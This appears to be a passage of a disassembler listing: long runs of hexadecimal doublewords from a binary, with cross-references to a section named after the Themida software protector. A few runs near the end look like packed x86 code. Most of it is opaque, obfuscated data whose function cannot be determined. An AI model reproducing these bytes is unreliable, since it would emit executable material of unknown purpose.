		dd 90797113h, 991A481Ch, 515F7BA0h, 72A7BF13h, 9917052Fh
		dd 110DBBC5h, 0A0420FECh, 51008B90h, 46797113h,	99741382h
		dd 515F7BA0h, 72A7BF13h, 9917052Fh, 1D0DBBC5h, 0E5420FECh
		dd 512D87A8h, 26643213h, 4431B7D3h, 0E073422h, 0ED229A16h
		dd 7D5887EAh, 0E3053422h, 60730801h, 0E3ABE2EAh, 602CCB96h
		dd 4431B7D3h, 0E073422h, 837904C0h, 7D5887EAh, 0E3053422h
		dd 60730801h, 0E3ABE2EAh, 602CCB6Ah, 4431B7D3h,	0E073422h
		dd 8C8800F4h, 7D5887EAh, 0E3053422h, 60730801h,	0E3ABE2EAh
		dd 602CCB92h, 4431B7D3h, 0E073422h, 0E2D39E22h,	7D5887EAh
		dd 0E3053422h, 60730801h, 0E3ABE2EAh, 602CCB9Eh, 4431B7D3h
		dd 0E0B3422h, 0F117A2C1h, 7D5887EAh, 0E3053422h, 60730801h
		dd 0E3ABE2EAh, 602CCB9Ah, 4431B7D3h, 0E0B3422h,	9F4C3C17h
		dd 7D5887EAh, 0E3053422h, 60730801h, 0E3ABE2EAh, 602CCB86h
		dd 4431B7D3h, 0E093422h, 0AE154B5Ch, 7D5887EAh,	0E3053422h
		dd 60730801h, 0E3ABE2EAh, 602CCB8Eh, 4431B7D3h,	0E093422h
		dd 0BAD57F9Ch, 7D5887EAh, 0E3053422h, 60730801h, 0E3ABE2EAh
		dd 602CCB82h, 4431B7D3h, 0E113422h, 0FA391F22h,	7D5887EAh
		dd 0E3053422h, 60730801h, 0E3ABE2EAh, 602CCB8Ah, 4431B7D3h
		dd 0E073422h, 0B4F7C23Fh, 7D5887EAh, 0E3053422h, 60730801h
		dd 0E3ABE2EAh, 602CCBB6h, 4431B7D3h, 0E163422h,	9B6086FFh
		dd 7D5887EAh, 0E3053422h, 60730801h, 0E3ABE2EAh, 602636C8h
		dd 4431B7D3h, 0E033422h, 84BA6B8Ch, 7D5887EAh, 0E3053422h
		dd 60730801h, 0E3ABE2EAh, 602CCBB2h, 4431B7D3h,	0E033422h
		dd 0D7DF52D7h, 7D5887EAh, 0E3053422h, 60730801h, 0E3ABE2EAh
		dd 602CCBBEh, 4431B7D3h, 0E033422h, 0B984CC01h,	7D5887EAh
		dd 0E3053422h, 60730801h
		dd 0E3ABE2EAh, 602CCBBAh, 4431B7D3h, 0E1B3422h,	0F872C07Dh
		dd 7D5887EAh, 0E3053422h, 60730801h, 0E3ABE2EAh, 602CCBA6h
		dd 4431B7D3h, 0E0B3422h, 0A1DE492Ah, 7D5887EAh,	0E3053422h
		dd 60730801h, 0E3ABE2EAh, 602CCBCAh, 4431B7D3h,	0E033422h
		dd 9C795C59h, 7D5887EAh, 0E3053422h, 60730801h,	0E3ABE2EAh
		dd 602CCBF6h, 4431B7D3h, 0E033422h, 0A52416D8h,	7D5887EAh
		dd 0E3053422h, 60730801h, 0E3ABE2EAh, 602CCBF2h, 4431B7D3h
		dd 0E1B3422h, 0B29952D9h, 7D5887EAh, 0E3053422h, 60730801h
		dd 0E3ABE2EAh, 602CCBA2h, 4431B7D3h, 0E1B3422h,	0F8CB665Bh
		dd 7D5887EAh, 0E3053422h, 60730801h, 0E3ABE2EAh, 602CCBAEh
		dd 4431B7D3h, 0E1B3422h, 0B7311A5Dh, 7D5887EAh,	0E3053422h
		dd 60730801h, 0E3ABE2EAh, 602CCBAAh, 66E0367Fh,	0E443205h
		dd 66222215h, 0F3EE327Fh, 60BF346Ch, 6C45B79Ch,	0E3AF3422h
		dd 602C8C1Ch, 62E2E2EAh, 6654327Dh, 46225A15h, 667B3215h
		dd 60F1A7EAh, 0E3CD3422h, 601518A8h, 63ACB79Ch,	26E23422h
		dd 6654327Dh, 66225A15h, 667B3214h, 60F1A7EAh, 0E3CD3422h
		dd 6015393Ch, 7BF4879Eh, 0FB033422h, 607334F4h,	4C63879Ch
		dd 0FB983422h, 60BF1BC4h, 60A5AF9Eh, 6DA93422h,	6911CB96h
		dd 6682ED91h, 6156215h,	0E3ABF226h
dword_5ACFB4	dd 60263878h, 66880EABh, 42303115h, 658F5435h, 0ED311651h
					; DATA XREF: Themida_:0053D758o
					; Themida_:0053E3F8o ...
		dd 128B4A65h, 18CF1231h, 0EB9FBB0Dh, 0E317051Dh, 6C0D3DEAh
		dd 8E443215h, 6622231Bh, 6611A3FCh, 0B1036315h,	0EF40E07Eh
		dd 5124C780h, 0E155813h, 66882215h, 99445847h, 51244B80h
		dd 9794BB13h, 0ED8E051Bh, 0B9AC6BC5h, 30223205h, 425531B8h
		dd 0B903A531h, 0C8840042h, 99DBB71Ah, 4D4FCDEAh, 0B10360EEh
		dd 6C458F9Eh, 0AFA13422h, 0ECD101EAh, 20490013h, 0A7C3369Eh
		dd 0AE113AFCh, 8C943D5Fh, 0ED77CDEAh, 3C94C5D4h, 0A4A1309Ch
		dd 0E3EE6011h, 60BF3878h, 6C29A79Eh, 0F31B3422h, 60263A98h
		dd 6682B61Ah, 381E3215h, 8F26F496h, 99EECD8Eh, 3FE96C4Fh
		dd 2FC1F54Dh, 6624051Eh, 0A1113215h, 51A30390h,	66443213h
		dd 419FB115h, 66170FECh, 6680B61Ah, 0FBC93215h,	601F62F5h
		dd 0E3EEE1EAh, 60BF13F4h, 47A58F96h, 69463422h,	66115097h
		dd 870DF515h, 67420534h, 6223215h, 9FEE8798h, 0DB053428h
		dd 607A247Fh, 0B1A9CC3Eh, 6C108F9Eh, 0AF0B3422h, 0EC8401EAh
		dd 20E30013h, 0A796369Eh, 0AEBB3AFCh, 8CC13D5Fh, 0EDDDCDEAh
		dd 5FC1C5D4h, 51AB2F90h, 71C03D13h, 0E5223215h,	511AA7A8h
		dd 0E3873213h, 6644321Fh, 4EF7B7D2h, 66103422h,	0DFE93215h
		dd 6DF63635h, 0BFAA23AFh, 0D3989F06h, 60BF1854h, 66B874D2h
		dd 5B223215h, 88FFDCFBh, 66A8B71Ah, 58C53215h, 0BBFFEFC8h
		dd 6605B71Ah, 604F3215h, 66443215h, 0EF26F496h,	513B73A0h
		dd 6E71DB13h, 0BECF3215h, 4EF7B726h, 0AED03422h, 0A74A1916h
		dd 0A77722D5h, 4EF7AF9Ch, 662C3422h, 69883315h,	66447796h
		dd 0DD1CB315h, 69AA89AEh, 66880B90h, 6642F515h,	0E5223215h
		dd 0D39836D3h, 60BF1854h, 60A5AF9Eh, 6DA93422h,	0ED71E29Eh
		dd 230D19D7h, 0A7420518h, 0E32130F5h, 60263AACh, 0A78B9F83h
		dd 7A60769Ch, 665EDB74h, 34403215h, 0F303FB26h,	60733CE4h
		dd 0E22D302Eh, 6611322Dh, 278CF096h, 6EC9BF2Eh,	0E32D3422h
		dd 99EECDFDh, 9E6C8798h, 0DBC93428h, 60151440h,	69D1B6B9h
		dd 66883491h, 97AD9815h, 0DEDDCDEAh, 66113215h,	28A3BF98h
		dd 87BB3422h, 6C4FBF9Ch, 3F4B3422h, 8715B943h, 0ED420513h
		dd 0BA7B91Eh, 0B717051Fh, 0E70D31F5h, 55420534h, 0CB44A4E3h
		dd 6513D2D4h, 51808B90h, 65E9A413h, 0DBA16CD4h,	60262910h
		dd 5F0C3D14h, 5D443215h, 51397B98h, 4B953D13h, 5D883215h
		dd 51406F98h, 47A63D13h, 5D113215h, 51A82398h, 73C03D13h
		dd 0EB223215h, 581F7088h, 0ED5BCD13h, 47C1BBEDh, 8F24053Bh
		dd 661134A1h, 68CAAF98h, 0B5BB342Bh, 7D278F96h,	69113422h
		dd 66882F91h, 7FC10915h, 69240508h, 66113E91h, 0BF0D0915h
		dd 6942050Bh, 66223790h, 99A8DB15h, 0E3B3CDEAh,	60731BBCh
		dd 663AB71Ah, 0DB923215h, 60BF3A88h, 6DC13D15h,	0EB223215h
		dd 5BAD6090h, 991DDB13h, 0E37FCDEAh, 60151BBCh,	9998B61Ah
		dd 0DB0BCDEAh, 6079CAF5h, 71A73D14h, 5D113215h,	5B710D90h
		dd 6DC13D13h, 0EB223215h, 3EF79290h, 99E5DB15h,	9977CDEAh
		dd 7C578F96h, 69113422h, 668B5591h, 4DC10915h, 13240FECh
		dd 6394B912h, 218E051Eh, 9F77B72Eh, 61573428h, 71E8B79Eh
		dd 5DCF3422h, 5BBD1D90h, 0ED254713h, 5114EF90h,	0E3B37513h
		dd 6079CB22h, 0E3A93560h, 60262058h, 5D0D0952h,	13420FECh
		dd 0EFA7B912h, 2117050Ch, 9FB7B72Eh, 61313428h,	7F67B79Eh
		dd 5D563422h, 5B717190h, 0ED434713h, 51235B90h,	0E32A7513h
		dd 60B5CB52h, 0E3CF3560h, 60152A44h, 2D940952h,	138E0FECh
		dd 53C1B912h, 2124050Eh, 9F5EB72Eh, 61FD3428h, 7C5DB79Eh
		dd 5D653422h, 5BE86590h, 0ED8F4713h, 516F8F90h,	0E3197513h
		dd 602CCB46h, 0DB0B2260h, 60733DA0h, 0ED254715h, 51144B90h
		dd 0DB0B7513h, 60733E8Ch, 5D2D4615h, 5BE8ED90h,	0ED8F4713h
		dd 51455390h, 0DBA17513h, 602625B8h, 0E5FA4615h, 515743A8h
		dd 0F563213h, 9FD2B72Eh, 61FD3428h, 47F9B79Eh, 5D653422h
		dd 5BE8E190h, 0ED8F4713h, 514BF790h, 0E3197513h, 602CCBD2h
		dd 0E3033560h, 60733F94h, 0B1A70952h, 13170FECh, 5F0DB912h
		dd 21420533h, 9FF9B72Eh, 61643428h, 49B9B79Eh, 5D033422h
		dd 5BDBF990h, 0ED164713h, 519BC390h, 0E37F7513h, 601FCBDAh
		dd 0E39A3560h, 60BF1B94h, 17F9B152h, 66240506h,	641BB61Ah
		dd 0E3B33215h, 6079CB4Eh, 0E3A93560h, 60261BB4h, 890D0952h
		dd 13420FECh, 97A7B912h, 21170538h, 9FD7B72Eh, 61313428h
		dd 7FE3B79Eh, 5D563422h, 5B715190h, 0ED434713h,	510D0F90h
		dd 0E32A7513h, 60B5CB72h, 0E3CF3560h, 601518CCh, 0D940952h
		dd 138E0FECh, 0D3F9B105h, 6624051Ah, 0E39A3560h, 60BF1AA4h
		dd 9C10952h, 13240FECh,	0FB94B912h, 218E0512h, 9F37B72Eh
		dd 76573428h, 69A48F96h, 13883422h, 0FFC1B912h,	2124051Fh
		dd 9F66B72Eh, 61FD3428h, 4EA5B79Eh, 5D653422h, 5BE84990h
		dd 0ED8F4713h, 5166FB90h, 0E3197513h, 602CCB96h, 0DB0B2260h
		dd 60733DA0h, 0ED254715h, 511E9B90h, 0E3B37513h, 6079CB6Ah
		dd 0DBA12260h, 60263DA0h, 0ED8F4715h, 51491790h, 0E3197513h
		dd 602CCB92h, 0E3033560h, 60732CE0h, 0EDA70952h, 13170FECh
		dd 0E30DB912h, 21420512h, 9FADB72Eh, 61643428h,	6195B79Eh
		dd 5D033422h, 5BDBA190h, 0ED164713h, 51A98790h,	0E37F7513h
		dd 601FCB82h, 0E39A3560h, 60BF02D0h, 0FDC10952h, 13240FECh
		dd 0A794B912h, 218E053Ch, 9FDBB72Eh, 61573428h,	7B4CB79Eh
		dd 5DCF3422h, 5BBD9190h, 0ED254713h, 51223790h,	0E3B37513h
		dd 607336C8h, 0E3A93560h, 602629B8h, 0C10D0952h, 13420FECh
		dd 7BA7B912h, 2117050Bh, 9F6BB72Eh, 7F313428h, 9FC98F96h
		dd 13113428h, 6335B11Ch, 6642050Eh, 0E3A93561h,	60261124h
		dd 810D0952h, 13420FECh, 8D9FB10Ch, 66170FECh, 0DB0B3B60h
		dd 60732910h, 0ED254615h, 51220F90h, 0E3B37513h, 6079CBBEh
		dd 0E3A93560h, 60262A90h, 0C90D0952h, 13420FECh, 13A7B912h
		dd 21170530h, 9F3BB72Eh, 61313428h, 6B1FB79Eh, 5D563422h
		dd 5B718590h, 0ED434713h, 51034390h, 0E32A7513h, 60B5CBAEh
		dd 0E3CF3560h, 60152D64h, 0D9940952h, 138E0FECh, 0C7C1B912h
		dd 2124053Ch, 0E21ECD1Eh, 66883210h, 99BFD8FCh,	0AFA709EAh
		dd 6917051Dh, 66883990h, 0B7C1BF15h, 8F240F87h,	99EEC9C6h
		dd 617DB72Eh, 0E34B3422h, 6622320Dh, 9EF18F96h,	69893428h
		dd 66443990h, 45A7BF15h, 8F116AF3h, 9977C9BAh, 9F5FB72Eh
		dd 0E22D3428h, 66113219h, 9F97B72Eh, 0E34B3428h, 66223210h
		dd 99EAA0FCh, 66888CEAh, 98C73215h, 23A73D14h, 5D113215h
		dd 5B713D90h, 6DC13D13h, 0EB223215h, 3E73D690h,	9DE5DB15h
		dd 0E37FCDEAh, 601FCB06h, 661AB71Ah, 0E3053215h, 661C514Fh
		dd 99D964FCh, 719409EAh, 698E0FECh, 66443990h, 0F9A7BF15h
		dd 8F116A76h, 9977C92Ah, 67FAF29Eh, 6D223215h, 63943DE3h
		dd 8F883215h, 99BBC936h, 0D3ABC29Eh, 60262CBCh,	7971879Ch
		dd 58C43422h, 40A73DFCh, 0ED113215h, 988B336Bh,	0A5C5EC9Eh
		dd 66227215h, 78B88F2Eh, 0E4873422h, 6644321Dh,	0E02DC92Eh
		dd 66113210h, 9972D4FCh, 0DBF9B9EAh, 0A124053Fh, 5111EB90h
		dd 66883213h, 0D3CD5215h, 60152DECh, 7232AF98h,	0B577342Bh
		dd 6666B01Ah, 0FBAF3215h
		dd 602DBB80h, 0E587E1EAh, 99BBCDCBh, 79DB879Eh,	0D3983422h
		dd 60BF32CCh, 36CCAF98h, 0B5DD3428h, 78B8B79Eh,	0E3013422h
		dd 60732DECh, 0EABFBF74h, 99170C05h, 1215BFC6h,	99420C06h
		dd 6AA13DC6h, 0E5113215h, 5197CB90h, 0B8AD3713h, 0EBDDCDEAh
		dd 5802AF88h, 695BCD13h, 66443A96h, 62E0B115h, 661100FCh
		dd 0F315BF15h, 99420E9Ch, 6DA13DC6h, 0ED113215h, 5197CBA0h
		dd 61C4DB13h, 0EBA93215h, 60262DECh, 7971879Ch,	0A86F3422h
		dd 9709EBE2h, 0F0F896E6h, 0EB77CDEAh, 5B14D288h, 0EDF1CD13h
		dd 0DB9419D2h, 0EF8E053Fh, 51741790h, 0DBA7B913h, 3117053Fh
		dd 3305BF45h, 99420F44h, 4FA7B9C4h, 3617051Eh, 0DB0DB942h
		dd 3642053Fh, 37A6BF98h, 0B7EE3428h, 0AE03E29Eh, 6D6DBF3Eh
		dd 0DBA13422h, 60263358h, 4D0C3D15h, 0ED443215h, 5127AF90h
		dd 2B941913h, 5D8E0514h, 71C23DD4h, 0ED223215h,	513BDB90h
		dd 2B0D3113h, 0EF420514h, 510C1390h, 6652DB13h,	0EDD93215h
		dd 99497AD4h, 2622321Ah, 638CB79Ch, 0E3893422h,	607318A0h
		dd 676FB7D2h, 66113422h, 26E23215h, 6654327Dh, 66486315h
		dd 6068A7EAh, 0F3773422h, 607300CCh, 4CCBB79Ch,	0E3983422h
		dd 60BF1C34h, 47F1CD4Ch, 9924053Bh, 511A1BA0h, 0D3776513h
		dd 607318A8h, 3034B798h, 0B6EE3428h, 67C5BF14h,	0DBCF3422h
		dd 60151C34h, 6D38879Eh, 0C27B3422h, 4C05879Eh,	0A18F3422h
		dd 6611CE53h, 0A6493215h, 62643710h, 0E32139A7h, 60262B7Ch
		dd 48A9BF9Eh, 6ECD3422h, 9A64F5B8h, 66113215h, 4CC9879Ch
		dd 9EC73422h, 46A73DEAh, 0E7113215h, 0BB55EF2Bh, 72C13DC8h
		dd 0A1223215h, 66113213h, 624EB115h, 4C05879Ch,	80CB3422h
		dd 0A7EECDE3h, 0E38B31D5h, 60732B7Ch, 77F38F96h, 69103422h
		dd 6688AF91h, 0CC7AB315h, 698898BFh, 66112090h,	624EB115h
		dd 66B874D2h, 0F1223215h, 65F8DBA5h, 0F1883215h, 0E514DAA5h
		dd 513937A8h, 0E21E3313h, 6688322Bh, 664532ADh,	419FB115h
		dd 66170FECh, 6680B61Ah, 0FBC93215h, 601F6B42h,	5991E1EAh
		dd 6E0C3D85h, 0E5443215h, 25CB37D2h, 0E5113215h, 0E48762EDh
		dd 6644321Fh, 3E88A2A5h, 6635DBBFh, 0CCD03215h,	8FBB4D95h
		dd 663AB71Ah, 0DB923215h, 60B5CB32h, 6EC03D15h,	0EB223215h
		dd 5B481588h, 0EE5BCD13h, 0E3CF3652h, 60151C34h, 8E92F53Eh
		dd 0A1259911h, 6644CE53h, 77CB3215h, 0EFEECDEAh, 51A273A0h
		dd 662C6013h, 0C223295h, 97A4CD15h, 998E051Bh, 51572F80h
		dd 0EBA96813h, 602634F4h, 668833D2h, 0A7C73215h, 87AFBB11h
		dd 8F170513h, 9977C705h, 664296FCh, 0EBA95215h,	602634F4h
		dd 0EB013B9Eh, 6079CB36h, 326C0A94h, 0E31E7E51h, 66883209h
		dd 623CB373h, 0E32D1C59h, 66113205h, 0A00BC29Eh, 73C1B913h
		dd 8F24053Ah, 66113313h, 0B603C29Eh, 5AE8FB26h,	3BA63D15h
		dd 5A113215h, 890C3D38h, 5ABBCDEAh, 5BA63D3Bh, 5A113215h
		dd 660A3D25h, 5A443214h, 0B1A43D2Ch, 5AEECDEAh,	960A3D54h
		dd 5A443215h, 0A1A43D4Fh, 5AEECDEAh, 0D90C3D4Ah, 5ABBCDEAh
		dd 0BEA03D74h, 5A113215h, 0C90E3D6Fh, 8FBBCDEAh, 662232DEh
		dd 69C70957h, 6688F091h, 8F057815h, 99DDCD8Fh, 0E21EFB90h
		dd 668832A6h, 56ED8798h, 0ACA93422h, 48A1C89Eh,	9F0D3DBBh
		dd 4DBBCDEAh, 4DFBC5DAh, 95E6B5ECh, 99CFF4B1h, 0CFD1BF15h
		dd 0ED240525h, 5100B390h, 6948B713h, 66442890h,	0DFA7F415h
		dd 21170537h, 0FC2FE07Dh, 5FF1CDC1h, 0EB240536h, 5C633890h
		dd 3458CD13h, 0A6C1E2EAh, 661AB71Ah, 0E39A3215h, 60BF3908h
		dd 0E34BF290h, 6622320Fh, 44A8B7D3h, 0EC43422h,	0BF9E2EFCh
		dd 451B87EAh, 0E39C3422h, 60B2401Fh, 9916E2EAh,	69E2B7C5h
		dd 66113790h, 66A9DB15h, 0E3CD3215h, 601FCB36h,	0E39C6445h
		dd 60B25E83h, 0A64FE2EAh, 6627B71Ah, 62F83215h,	0EF883215h
		dd 7581651h, 0EBA952D6h, 602CCB36h, 6549B945h, 0F6CF0E55h
		dd 6622329Dh, 6138A79Ch, 9E8D3422h, 0ED443215h,	0F3AB3E45h
		dd 60261880h, 42CCB94Dh, 5D851931h, 5108A790h, 76933D13h
		dd 5D883215h, 51431B90h, 62A13D13h, 7113215h, 78836D7h
		dd 666036D2h, 0A1223215h, 66151651h, 0DE883215h, 66443210h
		dd 2809BF98h, 87EE3422h, 5A8EB875h, 58C03DFCh, 5A223215h
		dd 24953DFDh, 5A883215h, 74C03D1Ah, 5A223215h, 59953DD8h
		dd 5A883215h, 2FC03DFEh, 7223215h, 674FB8D6h, 0E678D195h
		dd 0E34BB2EEh, 99DDCDFAh, 0A592EC9Eh, 64D63113h, 664426FCh
		dd 677CB915h, 69EAC996h, 66881B91h, 659AB915h, 0A5A1334Bh
		dd 99D8DB10h, 0D087CDEAh, 8DC7334Bh, 0DAA63D3Bh, 8FEECDEAh
		dd 6688321Fh, 98454C95h, 998FB71Ah, 6F8CDEAh, 3077CDEAh
		dd 55136144h, 0BEA89ED5h, 0E6E1D195h, 0E28742EEh, 664432F9h
		dd 0E22D3D29h, 66113230h, 0E287DB29h, 66443391h, 0E22DD929h
		dd 66113000h, 0E287D129h, 66443264h, 0E22DD029h, 66113056h
		dd 38D1694Ah, 95C1F5D6h, 60240FECh, 0EC113215h,	966BB20Bh
		dd 69C4C995h, 99DDD190h, 0E39A7CEAh, 60BF2CBCh,	669DA79Eh
		dd 0B8A93422h, 6517F196h, 0BEB3304Bh, 664CB01Ah, 0BC193215h
		dd 99AFB41Ah, 0B9A3CDEAh, 42D996h, 0F58954B8h, 62D7B1BEh
		dd 0EFAC0E9Ch, 0EF481661h, 513DCBA0h, 3F4A6D13h, 624CB14Bh
		dd 99BE52FCh, 95A7F5EAh, 64170FECh, 0ED883215h,	68F23DCBh
		dd 69A2CB95h, 66113A96h, 25513115h, 66443FFCh, 99CBB215h
		dd 8790EBE2h, 668832EAh, 0E3CFEB3Eh, 60152CBCh,	66C8A79Eh
		dd 0DB0B3422h, 6073395Ch, 0C5A63D14h, 5D113215h, 0FD0A3DCDh
		dd 5D443215h, 27A03DCFh, 8FEECDEAh, 6688329Bh, 9FB7B7D2h
		dd 66203428h, 0B89A3215h, 0E686841Ah, 0E54BB2ECh, 6622321Dh
		dd 8F52EB16h, 66883218h, 91BBDB95h, 99C3B3CCh, 4D113215h
		dd 0CF0DB9CCh, 0ED42050Bh, 5122EB80h, 2FACB113h, 678E051Eh
		dd 660CB61Ah, 0BE193215h, 6619B01Ah, 0BCB33215h, 98A2B41Ah
		dd 0D66CCDEAh, 689B981Ah, 8708B2A5h, 0CC85381Ah, 8DA1ED3Eh
		dd 0E5BAA111h, 0D30130D3h, 60732DECh, 6D6BB7D2h, 66103422h
		dd 0A20B3215h, 0E51D6911h, 0A2A136D1h, 9F66DB11h, 0D6C6CDEAh
		dd 0A0CF98FCh, 8EA1F53Eh, 0A2929911h, 38D16911h, 8F40F696h
		dd 99DDCBD2h, 9FE2B7D2h, 668D3428h, 0B8CF3215h,	6526F196h
		dd 0CF94B90Bh, 0ED8E050Bh, 5144EB80h, 0DBA17C13h, 60261924h
		dd 650C3D14h, 5D443214h, 6EA03DCDh, 5D113215h, 4D0E3DCFh
		dd 0EF443215h, 513DCBA0h, 958CB913h, 678E0FECh,	8F481649h
		dd 662232CBh, 5794F54Ah, 678E053Eh, 3D443215h, 0A2A16C4Ch
		dd 9EE6DB11h, 0DB0BCDEAh, 6073395Ch, 0DDA63D14h, 4D113215h
		dd 51969B88h, 0DBC9B913h, 6524053Fh, 0E5DE19DEh, 8F3837FCh
		dd 0E5EFA3BFh, 3F7936D1h, 62D5B14Bh, 99711CFCh,	95C1F5EAh
		dd 64240FECh, 0ED113215h, 683E3DCBh, 69C4CB95h,	66223A96h
		dd 25C83115h, 66883FFCh, 99ADB215h, 87A3EBE2h, 661132EAh
		dd 0E303EB3Eh, 60732CBCh, 66FBA79Eh, 20F83422h,	0A177CDEAh
		dd 5BBDC190h, 66223013h, 69CFB915h, 9F083CA3h, 6EC73D95h
		dd 65223215h, 6BF871CCh, 0E6883215h, 0BFB3CDFCh, 66DDD394h
		dd 0BF3A3215h, 7821B79Eh, 0F3CF3422h, 601532CCh, 6D588F96h
		dd 69893422h, 99BAFB91h, 69FA09EAh, 66113A97h, 69520915h
		dd 99B95593h, 0A8A97CEAh
		dd 8F92FD3Eh, 0CC618210h, 0EEAD9984h, 0ECDDCDEDh, 69F90E13h
		dd 66883491h, 7EADCA15h, 35223215h, 3812EC9Eh, 634BB114h
		dd 4DEEDAA5h, 62C9B1CAh, 0E54A9986h, 0A57137D3h, 60CF5444h
		dd 0E22DF129h, 66113255h, 0E287F929h, 6644322Dh, 0E22DF029h
		dd 6611322Dh, 0E287F829h, 66443225h, 43DD0F73h,	6621B61Ah
		dd 5BEE3215h, 0E34BCD3Bh, 66223218h, 4213749Fh,	69280EE5h
		dd 66441191h, 8FDA6B15h, 6611322Ch, 8FC9FB26h, 6644320Ch
		dd 662231ACh, 661EDB15h, 60313215h, 8F443215h, 66223210h
		dd 661135ACh, 0ED2CC115h, 5144EB98h, 69EBB713h,	66113490h
		dd 0BF3DBB15h, 3F420515h, 0ED44F1ECh, 69D20E13h, 66885791h
		dd 0E69CB815h, 9DA2C2F6h, 0FA953D65h, 5A883215h, 29C03DFCh
		dd 5A223215h, 21953DFEh, 5A883215h, 59C03DD7h, 5A223215h
		dd 51953DDEh, 883215h, 6961CD28h, 66221F91h, 69DB0E15h
		dd 66881791h, 69A70E15h, 66225091h, 482C5415h, 6B0D3DEAh
		dd 0EC443215h, 96063053h, 0E21E9229h, 66883213h, 664BDBEDh
		dd 0D3AB3215h, 602632CCh, 3600AF98h, 0B5BB3428h, 0ED72F1ECh
		dd 0E3982253h, 60BF3F50h, 7A82B14Dh, 6E9B8F98h,	65BC3422h
		dd 0CDAC1651h, 77E18F98h, 658F3422h, 36351651h,	0E735BFBEh
		dd 0CB420534h, 4E067616h, 30D26CBEh, 36E9AF98h,	0B5BB3428h
		dd 0FFFF95FCh, 4ECEDFFFh, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h
		dd 0A4784906h, 2AA8ED96h, 29458A15h, 57DFA024h,	91792619h
		dd 2A1E2C5Eh, 89798A15h, 2A162C5Eh, 0CA798A15h,	2A492C5Eh
		dd 13798A15h, 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh,	0FA798A15h
		dd 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 62CE2559h
		dd 0F143B7ABh, 954B32DCh, 71BA8C28h, 0C3A8EDD8h, 0A2458A42h
		dd 0D558DDAEh, 38C88260h, 2C691609h, 0BDDF0746h, 0D55295EEh
		dd 5E0003C6h, 835492B8h, 0A4F305E9h, 31E4CB8Bh,	5DB1DABAh
		dd 2FEB3256h, 6AE98FBCh, 113C5250h, 0D38C7E85h,	63B977DDh
		dd 79F4B951h, 31B575DFh, 1A382213h, 0BAF4B95Ah,	36A175DFh
		dd 0ABA1F09Fh, 6C34F436h, 0E9830574h, 0B0A4F305h, 0F29D11F1h
		dd 2375FD7Ah, 5EF917FBh, 0D525FB47h, 0ADFDF53Fh, 91481C0Dh
		dd 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah, 11987C27h
		dd 0A073C098h, 129503FFh, 83C87D7Ch, 0A4F305E9h, 0BD8DDB8Bh
		dd 63DF9FFh, 14E68D8Dh,	44B8063Eh, 2B321566h, 2E9C1CFh
		dd 0C8D00731h, 4904C783h, 0FFF2850Fh, 0C08BFFFFh, 1929BD83h
		dd 75000637h, 0E1BD8309h, 6371Fh, 53501974h, 11B8C08Bh
		dd 89000004h, 372A0585h, 739D8D06h, 0FF0639B1h,	83585BD3h
		dd 371FE1BDh, 17740006h, 11B85350h, 89000004h, 372A0585h
		dd 149D8D06h, 0FF0639AEh, 8B585BD3h, 0A4F2BBC0h, 0EDE94672h
		dd 60000000h, 0A8D88C66h, 0DF840F04h, 8B000000h, 3729A9B5h
		dd 0FE8306h, 22850Fh, 85C60000h, 63722B9h, 69696845h, 0B5FF8E72h
		dd 6371B49h, 720A858Dh,	0D0FF063Ah, 42D8589h, 0F08B0637h
		dd 0FE93E80h, 3185h, 0FE858D00h, 0FF063C6Dh, 0FDBD8BD0h
		dd 81063706h, 1184C7h, 0A9B58B00h, 87063729h, 8B9F7h, 0A4F30000h
		dd 29A9B58Bh, 858D0637h, 63AB0D5h, 0B58BD0FFh, 6370015h
		dd 0F00FE83h, 2285h, 0B985C600h, 54063722h, 4EBEF468h
		dd 49B5FFFFh, 8D06371Bh, 3A720A85h, 89D0FF06h, 37001585h
		dd 80F08B06h, 850FE93Eh, 3Ah, 15B58Bh, 858D0637h, 63C6DFEh
		dd 0BD8BD0FFh, 63706FDh, 1184C781h, 0C7830000h,	15B58B08h
		dd 87063700h, 8B9F7h, 0A4F30000h, 15B58Bh, 858D0637h, 63AB0D5h
		dd 0C361D0FFh, 1674858Dh, 8589063Eh, 6370949h, 11E8h, 609ADB00h
		dd 0B8E31673h, 0EE097B14h, 0C03AEC9Dh, 7FBF6CB6h, 5B3C8FDDh
		dd 0C381F38Bh, 58EEh, 68FB8B66h, 1602h,	0F6BF0F5Ah, 8B0F33FFh
		dd 8, 2870Fh, 5E510000h, 59F95758h, 3169F081h, 50570ADAh
		dd 0DE9h, 42C56C00h, 0B8F0C11Ch, 0CDB37E9Bh, 5E5E6E52h
		dd 499DC081h, 8B0F0DA5h, 1, 8DC081F9h, 0B16FC77Dh, 38F5075h
		dd 124AAFBEh, 2EB8306h,	820Fh, 4B4B0000h, 0CE9h, 72BB4000h
		dd 8A4FA64Fh, 0DA6F7B42h, 1EA81E3h, 0F000000h, 3285h, 0F9606000h
		dd 0E961F38Bh, 0Fh, 1B26714Bh, 2E741FEEh, 52B8C114h, 61A5ABEBh
		dd 2AE9h, 1CCFCA00h, 0B8B18A9Ch, 1591DD22h, 82DBF451h
		dd 0BECC1849h, 5A4A57B6h, 0FFFF4FE9h, 45C6F1FFh, 0DC3984D2h
		dd 0B494E918h, 0EB44DC25h, 8, 0EE60A000h, 478E966h, 5D680000h
		dd 0E9063E19h, 0FFF965E6h, 3E19C468h, 65DCE906h, 3668FFF9h
		dd 0E9063E1Bh, 0FFF965D2h, 5B3B8ED4h, 280851A0h, 0FBDB206Dh
		dd 0CAAAEF40h, 9A7ABD0Fh, 136511EFh, 0EA35F0D0h, 0B606C1A1h
		dd 88D48F6Fh, 0F7DD6141h, 1DD4EEDCh, 5C507DE7h,	77C00B4Ah
		dd 466B96B0h, 0FDEAB1F4h, 998A6AB1h, 36516F45h,	0E75AF29Dh
		dd 3562B2F1h, 14E9301Ah, 558DB3E7h, 6E49748Eh, 0EEB88148h
		dd 0E3E714E9h, 0BB76B7D5h, 0C53C5FB1h, 2E9h, 3C559A93h
		dd 0A7F03FE8h, 6EBBC6E0h, 10486229h, 0EF46D7F2h, 0F71DE75Ah
		dd 64F9AD9h, 85FA253Fh,	0BE1113E4h, 9E74C8D8h, 0ACA06580h
		dd 95BB1C08h, 0A3E63877h, 20749778h, 29112C4Ah,	0BA1A3E59h
		dd 632A71C1h, 0A1F31149h, 9FCA1362h, 0C9E72E7Ah, 3C85437Ah
